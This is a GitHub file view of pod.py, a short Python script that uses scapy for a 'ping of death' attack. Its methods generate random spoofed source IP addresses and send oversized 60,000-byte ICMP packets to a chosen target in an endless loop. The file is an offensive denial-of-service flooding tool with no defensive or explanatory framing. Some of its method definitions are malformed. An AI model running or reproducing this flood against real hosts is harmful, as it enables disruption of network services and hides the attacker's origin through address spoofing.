-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpod.py
More file actions
26 lines (22 loc) · 724 Bytes
/
Copy pathpod.py
File metadata and controls
26 lines (22 loc) · 724 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from scapy.all import *
import random
class POD:
target = ""
bytes = 60000
def __init__(self, target):
self.target = target
def address_spoofer():
addr = [192, 168, 0 , 1]
d = '.'
addr[0] = str(random.randrange(11,197))
addr[1] = str(random.randrange(0,255))
addr[2] = str(random.randrange(0,255))
addr[3] = str(random.randrange(2,254))
assemebled = addr[0]+d+addr[1]+d+addr[2]+d+addr[3]
return assemebled
def start():
while True:
rand_addr = address_spoofer()
ip_hdr = IP(src=rand_addr, dst=target)
packet = ip_hdr/ICMP()/("m"*60000) #send 60k bytes of junk
send(packet)